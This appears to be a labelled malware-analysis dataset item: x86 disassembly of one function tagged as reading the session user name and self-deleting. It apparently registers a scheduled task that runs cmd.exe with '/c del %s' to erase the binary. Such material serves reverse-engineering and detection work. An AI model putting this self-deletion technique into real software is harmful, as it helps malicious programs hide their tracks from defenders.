Function at 0x42ab7a
Capabilities:
Get session user name
Self delete

Disassembly:
push 0xb24
mov eax, 0x45d5d4
call fcn.0043587d
mov eax, dword [ebp + 8]
push eax
push str.ami_sExdel
lea eax, [ebp - 0xb0]
push 0x50
push eax
mov esi, ecx
call fcn.004311bc
add esp, 0x10
lea eax, [ebp - 0xb24]
push eax
lea eax, [ebp - 0x2b8]
push eax
push 2
mov dword [ebp - 0xb24], 0x104
call dword [sym.imp.Secur32.dll_GetUserNameExW]
xor ebx, ebx
mov dword [ebp - 0xb14], ebx
lea eax, [ebp - 0xb14]
push eax
mov dword [ebp - 4], ebx
call fcn.0042affb
cmp eax, ebx
jge 0x42abfc
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xb14]
cmp eax, ebx
je 0x42abf4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
inc eax
jmp 0x42ae87
mov dword [ebp - 0xb18], ebx
mov dword [ebp - 0xb10], ebx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0xb14]
mov ecx, dword [eax]
lea edx, [ebp - 0xb0]
push edx
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xb14]
mov ecx, dword [eax]
lea edx, [ebp - 0xb10]
push edx
push 0x466504
push 0x466534
lea edx, [ebp - 0xb0]
push edx
push eax
call dword [ecx + 0x20]
cmp eax, ebx
jge 0x42ac77
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xb10]
cmp eax, ebx
je 0x42ac5b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0xb18]
cmp eax, ebx
je 0x42abe0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x42abe0
push esi
push str._c_del___s_
lea eax, [ebp - 0xab8]
push 0x400
push eax
call fcn.004311bc
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
add esp, 0x10
lea edx, [ebp - 0x2b8]
push edx
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
push ebx
lea edx, [ebp - 0x2b8]
push edx
push eax
call dword [ecx + 0x78]
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
push 0x46c3f8
push eax
call dword [ecx + 0x48]
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
push str.cmd.exe
push eax
call dword [ecx + 0x80]
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
lea edx, [ebp - 0xab8]
push edx
push eax
call dword [ecx + 0x88]
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
push 0x200b20
push eax
call dword [ecx + 0xa8]
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
push 0x2402
push eax
call dword [ecx + 0x70]
push ebx
call fcn.00430451
mov ecx, eax
mov eax, dword [ebp + 0xc]
imul eax, eax, 0x3c
mov esi, edx
cdq
add eax, ecx
mov dword [ebp - 0xb30], eax
lea eax, [ebp - 0xb30]
push eax
lea eax, [ebp - 0xb0c]
adc edx, esi
push eax
mov dword [ebp - 0xb2c], edx
call fcn.00431458
push 0x30
lea eax, [ebp - 0xae8]
push ebx
push eax
call fcn.00434cd0
mov ecx, dword [ebp - 0xafc]
mov edx, dword [ebp - 0xb00]
mov si, word [ebp - 0xb04]
add esp, 0x18
push 0x30
pop eax
mov word [ebp - 0xae8], ax
mov eax, dword [ebp - 0xaf8]
add eax, 0x76c
inc ecx
mov word [ebp - 0xae4], ax
mov word [ebp - 0xae2], cx
mov word [ebp - 0xae0], dx
mov word [ebp - 0xad8], si
mov si, word [ebp - 0xb08]
mov word [ebp - 0xad6], si
mov word [ebp - 0xade], ax
mov word [ebp - 0xadc], cx
mov word [ebp - 0xada], dx
mov dword [ebp - 0xac8], ebx
mov dword [ebp - 0xb1c], ebx
lea edx, [ebp - 0xb1c]
push edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0xb10]
lea edx, [ebp - 0xb20]
push edx
mov dword [ebp - 0xb20], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x42ae0d
mov eax, dword [ebp - 0xb1c]
mov ecx, dword [eax]
lea edx, [ebp - 0xae8]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0xb10]
mov ecx, dword [eax]
lea edx, [ebp - 0xb18]
push edx
push 0x463c20
push eax
call dword [ecx]
cmp eax, ebx
jl 0x42ae36
mov eax, dword [ebp - 0xb18]
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x18]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0xb1c]
cmp eax, ebx
je 0x42ae4a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xb10]
cmp eax, ebx
je 0x42ae5e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0xb18]
cmp eax, ebx
je 0x42ae71
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xb14]
cmp eax, ebx
je 0x42ae85
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
call fcn.00435900
ret